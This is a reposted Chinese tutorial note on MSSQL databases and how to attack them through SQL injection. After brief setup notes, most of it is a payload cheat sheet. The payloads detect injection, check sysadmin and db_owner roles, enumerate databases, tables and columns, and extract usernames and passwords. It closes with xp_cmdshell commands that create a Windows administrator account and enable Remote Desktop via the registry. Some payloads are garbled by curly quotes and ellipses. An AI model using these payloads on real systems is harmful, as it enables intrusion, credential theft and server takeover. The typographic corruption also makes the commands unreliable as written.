ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

某教程学习笔记(一):08、MSSQL数据库漏洞

2020-02-19 21:41:39  阅读:252  来源: 互联网

标签:教程 name 08 MSSQL master id where 数据库 select


你永远不知道,爱你爱到发疯的人,给你发过长篇大论的人,突然安静下来,不再打扰你,他心里经历了怎样的伤痛。。。

一、MSSQL介绍

MSSQL商业,性能好,易用,企业支持好,有很多精度要高的类型,学校、政府、在线办公、游戏、棋牌等部门可能会用。

端口:1433

后缀:.mdf/.ldf

sa权限:数据库操作,文件管理,命令执行,注册表读取等,相当于win系统system

db权限:文件管理,数据库操作等,相当于win系统adminnstrators

public权限:数据库操作,相当于win系统guest

二、SQL SERVER 2005

1、安装成功,输入账号密码登陆
在这里插入图片描述
2、master、model、msdb、tempdb这四个数据库是系统自带数据库
在这里插入图片描述
3、右击数据库,新建数据库,自动生成两个文件
在这里插入图片描述
4、双击展开新建的数据库,右击表,添加表,输入列名和数据类型,保存
在这里插入图片描述
5、右击新建的表,打开表,然后就可以添加我们的数据了
在这里插入图片描述
6、删除数据库,需要先右击要删除的数据库,选择任务,再选择分离,然后再进目录删除数据库

7、添加外来的数据库,先把数据库文件放进目录,然后右击数据数据库,选择附加

8、备份数据库,选择要备份的数据库右击,选择生成脚本,选择为服务器版本编写脚本(修改为自己要用的版本)

9、还原数据库,将导出的脚本里面的内容复制到sql语句,运行,就会和重新生成一个数据库,里面的内容和备份数据库的内容一样。

三、代码调用

<%

cctt = “provier=sqloledb;source=local;uid=sa;pwd=**;database=database1”

Set conn = Server.Createobject(“ADODB.Connection”)

conn.open cctt

%>

provider后面的不用管,照写; source后面的可以是ip地址,这里我用的是本地的;sa是内置的用户,它的密码是你在安装的时候设置的; database后面是你要连接的数据库的名称.

四、判断注入

and 1=1 返回正常

and 1=2 返回错误,说明有注入

and user>0 返回正常,说明是sqlserver注入

and (select count(*)from sysobjects)>0 mssql 返回正常,说明是sqlserver注入

猜数表名

and( select count()from[表名])>0

猜字段

and( select Count(字段名)from[表名])>0

猜字段中记录长度

and(select top1len(字段名)from表名)>0

猜字段的asc值( access)

and( (select top1 asc(mid(字段名,1,1)from表名)>0

猜字段的ascii值(mssql)

and( select top1 unicode(substring(字段名1,1)from表名)>0

测试权限结构( mssql)

and 1=(select IS_SRVROLEMEMBER(‘sysadmin’));-- //判断是否是系统管理员

and 1=(select IS_SRVROLEMEMBERC(‘serveradmin’));–

and 1=(select IS_SRVROLEMEMBERC(‘setupadmin’));–

and 1=(select IS_SRVROLEMEMBERC(‘securityadmin’));–

and 1=(select IS_SRVROLEMEMBER(‘diskadmin’));–

and 1=(select IS_SRVROLEMEMBER(‘bulkadmin’);–

and 1=(select is_srvrolemember(‘db_owner’));–//判断是否是库权限

and 1=(select is_srvrolemember(‘public’));–//判断是否是pubilc权限

and 1=convert(int,db_name())或1=(select db_name())//当前数据库名

and 1=(select @@servername)//本地服务名

and 1=(select HAS_DBACCESS(‘master’))//判断是否有库读取权限

猜版本号

id=1 and 1=(select @@version)

id=@@version

猜数据库名称

id=1 and 1=(select db_name())

id=db_name()

获取所有数据库

id=1 and 1=(select name from master…sysdatabases for xml path)

获取第一个用户数据库

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4) #数据库是从第五个开始排的

获取下一个数据库

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>4 and name <>‘上面查出来的数据库’)

或者

id=1 and 1=(select top 1 name from master…sysdatabases where dbid>5) #一次类推

获取所有表

id=1 and 1=(select name from sysobjects for xml path)

获取第一张表

id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’)

获取下一张表

id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’ and name <>‘上面查出来的表’)

获取表users第一列列名uname

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’))

获取表users第二列列名upass

id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘users’) and name <> ‘uname’)

依次往后爆破

获取表users第一个用户名

?id=1 and 1=(select top 1 uname from users)

获取密码

?id=1 and 1=(select top 1 upass from users)

五、利用xp_cmdshell添加用户

id=1 ;exec master…xp_cmdshell ‘net user username password /add’

id=1 ;exec master… xp_cmdshell ‘net localgroup administrators username /add’ 添加到管理员组

六、开启3389端口

id=1 ;exec master…xp_cmdshell ‘sc config termservice start=auto’

;exec master…xp_cmdshell ‘net start termservice’

;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /vfDenyTSConnections /t REG_DWORD/d 0x0/f’

禁止非法,后果自负

欢迎关注公众号:web安全工具库
在这里插入图片描述

web安全工具库 发布了103 篇原创文章 · 获赞 4 · 访问量 1万+ 私信 关注

标签:教程,name,08,MSSQL,master,id,where,数据库,select
来源: https://blog.csdn.net/weixin_41489908/article/details/104400736

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有